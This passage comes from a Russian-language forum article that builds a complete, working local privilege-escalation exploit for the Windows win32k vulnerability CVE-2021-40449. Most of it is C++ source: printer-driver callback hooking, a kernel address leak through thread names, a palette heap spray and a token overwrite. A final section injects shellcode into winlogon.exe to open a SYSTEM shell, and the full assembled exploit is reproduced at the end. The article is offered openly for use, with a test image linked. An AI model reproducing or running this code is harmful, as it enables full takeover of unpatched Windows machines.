DWORD64 ptr = (DWORD64)handleInfo->Handles[i].Object;
free(handleInfo);
return ptr;
}
}
free(handleInfo);
return 0;
}
C++:
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
3 - Второй вызов NtQuerySystemInformation
4 - Итерируемся по созданному после 2 шага объекту, ищем нужный нам элемент. В случае успеха возвращаем адрес
Возвращаемся в main и получаем адресс токена:
C++:
HANDLE token;
DWORD64 tokenAddress = 0;
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (process == NULL) { printf("[!] Can't open current process\n"); return 1; }
if (!OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES, &token)) { printf("[!] Can't open current process token\n"); return 1; }
for (int i = 0; i < 0x100; i++) {
tokenAddress = PtrFromHandle(token, 0x5);
if (tokenAddress != 0) { printf("[+] Current process token address: 0x%llx\n", tokenAddress); break; }
}
Настал момент создать фейковый битмап. Я уже объяснял как это происходит, но есть одна деталь которую я не упомянул:
C++:
DWORD threadId;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &threadId);
LPVOID buf = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_READWRITE);
memset(buf, 0x41, 0x20);
*(DWORD64*)buf = 0x80;
*(DWORD64*)((DWORD64)buf + 8) = (tokenAddress + 0x40); // Тут
UNICODE_STRING payload = {};
payload.Buffer = (PWSTR)buf;
payload.Length = 0x1000;
payload.MaximumLength = 0xffff;
DWORD outSize;
DWORD size = 1024 * 1024;
LPVOID infoBuf = LocalAlloc(LPTR, size);
bool found = false;
fnNtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &payload, 0x10);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, infoBuf, size, &outSize);
PBIG_POOL_INFO info;
ULONG_PTR start = (ULONG_PTR)infoBuf + 8;
ULONG_PTR end = start + *((PDWORD)infoBuf) * sizeof(BIG_POOL_INFO);
while (start < end) {
info = (PBIG_POOL_INFO)start;
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && info->PoolSize == (payload.Length + sizeof(UNICODE_STRING))) {
fakeBitmap = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
found = true;
break;
}
start += sizeof(BIG_POOL_INFO);
}
if (found == false) {
printf("[!] Can't leak address of fake bitmap!\n");
return 1;
}
else {
printf("[+] Created fake bitmap at: 0x%llx\n", fakeBitmap);
}
Теперь установим хук. Функция будет идентичная той, что мы применяли раньше:
C++:
BOOL SetUpHook() {
DWORD pcbNeeded, pcbRet;
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }
PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
printf("[!] Can't enum printers!\n");
exit(-1);
}
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
info = &printerEnum[i];
printf("[*] Printer: %ws\n", info->pPrinterName);
if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
printf(" --- Can't open printer!\n");
continue;
} else {
printf(" --> Opened printer!\n");
}
printerName = _wcsdup(info->pPrinterName);
GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
printf(" --- Can't get printer driver\n");
continue;
} else {
printf(" --> Got printer driver: %ws\n", driverInfo->pDriverPath);
}
driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (driver == NULL) { printf(" --- Can't load printer driver\n"); continue; }
else { printf(" --> Loaded driver!\n"); }
DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
printf(" --- Can't enable driver!\n");
continue;
} else {
printf(" --> Enabled driver!\n");
}
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
printf(" --- Can't unprotect priver callback table\n");
continue;
}
for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
for (int n = 0; n < drvEnableData.c; n++) {
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
if (hooks[i].index == iFunc) {
origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
break;
}
}
}
DrvDisableDriver();
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
return true;
}
return false;
}
Вызов функции SetUpHook():
C++:
if(!SetUpHook()) {
printf("[!] Couldn't hook function!\n");
return 1;
} else {
printf("[+] Hooked a function!\n");
}
Перед там как тригерить уязвимость, надо кое-что изменить в ранее использованной fnHook:
C++:
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
printf("[+] Now spray\n");
int size = 0xe20;
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
DWORD64* ptr = (DWORD64*)((DWORD64)lPalette + 4);
for (int i = 0; i < 0x120; i++) { ptr[i] = fakeBitmap; } // 1
for (int i = 0x120; i < (palette_size - 4) / 8; i++) { ptr[i] = fnRtlSetAllBits; } // 2
lPalette->palNumEntries = (WORD)palette_entry_count;
lPalette->palVersion = 0x300;
for (int i = 0; i < 0x5000; i++) { CreatePalette(lPalette); }
printf("[+] Spray is done\n");
}
return ret;
}
Насталов время для вызова уязвимости:
C++:
hdc = CreateDCW(NULL, printerName, NULL, NULL);
if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }
flag = true;
ResetDCW(hdc, NULL);
Sleep(1000);
Теперь, после изменения токена, мы можен инжектировать шеллкод в память процесса winlogon.exe. Вот функция Inject():
C++:
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
int Inject() {
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = 0;
if (Process32First(snap, &processEntry)) {
while (Process32Next(snap, &processEntry)) {
if (wcscmp(processEntry.szExeFile, L"winlogon.exe") == 0) {
pid = processEntry.th32ProcessID;
break;
}
}
}
if (pid == 0) {
printf("[!] Can't find winlogon.exe\n");
exit(-1);
}
CloseHandle(snap);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (process == NULL) {
printf("[!] Can't open winlogon.exe\n");
exit(-1);
}
LPVOID payload = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (payload == NULL) {
printf("[!] Can't alloc memory in winlogon.exe\n");
exit(-1);
}
WriteProcessMemory(process, payload, shellcode, sizeof(shellcode), 0);
CreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)payload, 0, 0, 0);
printf("[+] Enjoy system shell!\n");
return 0;
}
Вот полный, итоговый код эксплойта:
inc.h:
C++:
#include <Windows.h>
#define SystemHandleInformation 0x10
#define ThreadNameInformation 0x26
#define SystemBigPoolInformation 0x42
typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
CHAR PoolTag[4];
CHAR Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;
typedef struct _hookData
{
ULONG index;
LPVOID func;
} hookData;
typedef BOOL(*_DrvEnableDriver)(
ULONG iEngineVersion,
ULONG cj,
DRVENABLEDATA* pded);
typedef DHPDEV(*_DrvEnablePDEV)(
DEVMODEW* pdm,
LPWSTR pwszLogAddress,
ULONG cPat,
HSURF* phsurfPatterns,
ULONG cjCaps,
ULONG* pdevcaps,
ULONG cjDevInfo,
DEVINFO* pdi,
HDEV hdev,
LPWSTR pwszDeviceName,
HANDLE hDriver);
typedef VOID(*_VoidFunc)();
typedef NTSTATUS(*_NtSetInformationThread)(
HANDLE threadHandle,
THREADINFOCLASS threadInformationClass,
PVOID threadInformation,
ULONG threadInformationLength);
typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
main.cpp:
C++:
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <Psapi.h>
#include <winternl.h>
#include <winddi.h>
#include "inc.h"
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
_NtQuerySystemInformation fnNtQuerySystemInformation;
_NtSetInformationThread fnNtSetInformationThread;
_VoidFunc origFuncs[INDEX_LAST];
HDC hdc;
DWORD64 fnRtlSetAllBits;
DWORD64 fakeBitmap;
LPWSTR printerName;
int pid;
BOOL flag = false;
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
printf("[+] Now spray\n");
int size = 0xe20;
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
DWORD64* ptr = (DWORD64*)((DWORD64)lPalette + 4);
for (int i = 0; i < 0x120; i++) { ptr[i] = fakeBitmap; }
for (int i = 0x120; i < (palette_size - 4) / 8; i++) { ptr[i] = fnRtlSetAllBits; }
lPalette->palNumEntries = (WORD)palette_entry_count;
lPalette->palVersion = 0x300;
for (int i = 0; i < 0x5000; i++) { CreatePalette(lPalette); }
printf("[+] Spray is done\n");
}
return ret;
}
hookData hooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};
int Inject() {
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = 0;
if (Process32First(snap, &processEntry)) {
while (Process32Next(snap, &processEntry)) {
if (wcscmp(processEntry.szExeFile, L"winlogon.exe") == 0) {
pid = processEntry.th32ProcessID;
break;
}
}
}
if (pid == 0) {
printf("[!] Can't find winlogon.exe\n");
exit(-1);
}
CloseHandle(snap);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (process == NULL) {
printf("[!] Can't open winlogon.exe\n");
exit(-1);
}
LPVOID payload = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (payload == NULL) {
printf("[!] Can't alloc memory in winlogon.exe\n");
exit(-1);
}
WriteProcessMemory(process, payload, shellcode, sizeof(shellcode), 0);
CreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)payload, 0, 0, 0);
printf("[+] Enjoy system shell!\n");
return 0;
}
DWORD64 PtrFromHandle(HANDLE handle, DWORD type) {
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
ULONG returnLength = 0x20;
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength);
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(returnLength);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength);
for (int i = 0; i < handleInfo->NumberOfHandles; i++) {
if (handleInfo->Handles[i].UniqueProcessId = pid && handleInfo->Handles[i].ObjectTypeIndex == type && handle == (HANDLE)handleInfo->Handles[i].HandleValue) {
DWORD64 ptr = (DWORD64)handleInfo->Handles[i].Object;
free(handleInfo);
return ptr;
}
}
free(handleInfo);
return 0;
}
BOOL SetUpHook() {
DWORD pcbNeeded, pcbRet;
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }
PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
printf("[!] Can't enum printers!\n");
exit(-1);
}
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
info = &printerEnum[i];
printf("[*] Printer: %ws\n", info->pPrinterName);
if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
printf(" --- Can't open printer!\n");
continue;
} else {
printf(" --> Opened printer!\n");
}
printerName = _wcsdup(info->pPrinterName);
GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
printf(" --- Can't get printer driver\n");
continue;
} else {
printf(" --> Got printer driver: %ws\n", driverInfo->pDriverPath);
}
driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (driver == NULL) { printf(" --- Can't load printer driver\n"); continue; }
else { printf(" --> Loaded driver!\n"); }
DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
printf(" --- Can't enable driver!\n");
continue;
} else {
printf(" --> Enabled driver!\n");
}
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
printf(" --- Can't unprotect priver callback table\n");
continue;
}
for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
for (int n = 0; n < drvEnableData.c; n++) {
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
if (hooks[i].index == iFunc) {
origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
break;
}
}
}
DrvDisableDriver();
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
return true;
}
return false;
}
int main() {
printf("[*] Starting exploit for CVE-2021-40449 Windows 10.0.17763.1757\n");
pid = GetCurrentProcessId();
printf("[*] Current process pid: %i\n", pid);
HMODULE nt = LoadLibraryA("ntdll.dll");
HMODULE kernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
ULONG lpcbNeeded;
EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
DWORD64* drivers = (DWORD64*)malloc(lpcbNeeded);
if (!EnumDeviceDrivers((LPVOID*)drivers, lpcbNeeded, &lpcbNeeded)) {
printf("[!] Can't get kernel address, EnumDeviceDrivers() error!\n");
return 1;
}
DWORD64 kernelAddr = drivers[0]; // it's ntoskrnl.exe
free(drivers);
printf("[+] Got kernel address: 0x%llx\n", kernelAddr);
fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(nt, "NtQuerySystemInformation");
fnNtSetInformationThread = (_NtSetInformationThread)GetProcAddress(nt, "NtSetInformationThread");
DWORD64 offRtlSetAllBits = (DWORD64)GetProcAddress(kernel, "RtlSetAllBits");
fnRtlSetAllBits = (DWORD64)kernelAddr + offRtlSetAllBits - (DWORD64)kernel;
printf("[+] Got needed function addresses: \n --> NtQuerySystemInformation: 0x%llx\n --> NtSetInformationThread: 0x%llx\n --> RtlSetAllBits: 0x%llx\n", (DWORD64)fnNtQuerySystemInformation, (DWORD64)fnNtSetInformationThread, (DWORD64)fnRtlSetAllBits);
HANDLE token;
DWORD64 tokenAddress = 0;
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (process == NULL) { printf("[!] Can't open current process\n"); return 1; }
if (!OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES, &token)) { printf("[!] Can't open current process token\n"); return 1; }
for (int i = 0; i < 0x100; i++) {
tokenAddress = PtrFromHandle(token, 0x5);
if (tokenAddress != 0) { printf("[+] Current process token address: 0x%llx\n", tokenAddress); break; }
}
//Creating fake bitmap
DWORD threadId;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &threadId);
LPVOID buf = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_READWRITE);
memset(buf, 0x41, 0x20);
*(DWORD64*)buf = 0x80;
*(DWORD64*)((DWORD64)buf + 8) = (tokenAddress + 0x40);
UNICODE_STRING payload = {};
payload.Buffer = (PWSTR)buf;
payload.Length = 0x1000;
payload.MaximumLength = 0xffff;
DWORD outSize;
DWORD size = 1024 * 1024;
LPVOID infoBuf = LocalAlloc(LPTR, size);
bool found = false;
fnNtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &payload, 0x10);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, infoBuf, size, &outSize);
PBIG_POOL_INFO info;
ULONG_PTR start = (ULONG_PTR)infoBuf + 8;
ULONG_PTR end = start + *((PDWORD)infoBuf) * sizeof(BIG_POOL_INFO);
while (start < end) {
info = (PBIG_POOL_INFO)start;
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && info->PoolSize == (payload.Length + sizeof(UNICODE_STRING))) {
fakeBitmap = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
found = true;
break;
}
start += sizeof(BIG_POOL_INFO);
}
if (found == false) {
printf("[!] Can't leak address of fake bitmap!\n");
return 1;
}
else {
printf("[+] Created fake bitmap at: 0x%llx\n", fakeBitmap);
}
// Setting up a hook
if(!SetUpHook()) {
printf("[!] Couldn't hook function!\n");
return 1;
} else {
printf("[+] Hooked a function!\n");
}
hdc = CreateDCW(NULL, printerName, NULL, NULL);
if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }
flag = true;
ResetDCW(hdc, NULL);
Sleep(1000);
printf("[*] Injecting to winlogon.exe\n");
Inject();
return 0;
}
Эксплоит готов, осталось проверить!
Проверяем эксплоит
Чтобы не раздувать число символов, я записал видео:
Ссылки
Microsoft: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449
Анализы CVE-2021-40449:
在野定向攻击所用Windows本地提权漏洞(CVE-2021-40449)复现和分析
奇安信威胁情报中心红雨滴团队通过对漏洞CVE-2021-40449进行详细分析,编写了可以针对大部分受影响Windows系统进行权限提升的Exploit程序,重现了整个攻击过程,确认了该漏洞的危害性。
mp.weixin.qq.com
CVE-2021-40449 Exploitation
CVE-2021-40449 Introduction The vulnerability in question is a Use After Free in a kernel function in win32kfull.sys. It depends on a unique mechanism that the graphics system uses which is called Usermode Callbacks - a way for the kernel to call usermode functions.
kristal-g.github.io
ThreadName техника: https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/
Мои прошлые статьи:
https://xss.pro/threads/52570
https://xss.pro/threads/58402/
Итоги
Вот такая новогодняя статья у меня получилась, надеюсь оцените. Если у вас будут вопросы - пишите в теме, или в пм, буду рад подсказать. Как я понял по количеству реакций под прошлыми статьями, тема эксплуатации ядра Windows интересная и актуальная, постараюсь писать больше содержательных статей!
Архив с комплектом win32k, я приложил прямо тут - внизу. А iso образ windows, залил на мегу (пароль местный):
File on MEGA
Спасибо за прочтение,
Azrv3l cпециально для xss.pro
Вложения
Последнее редактирование: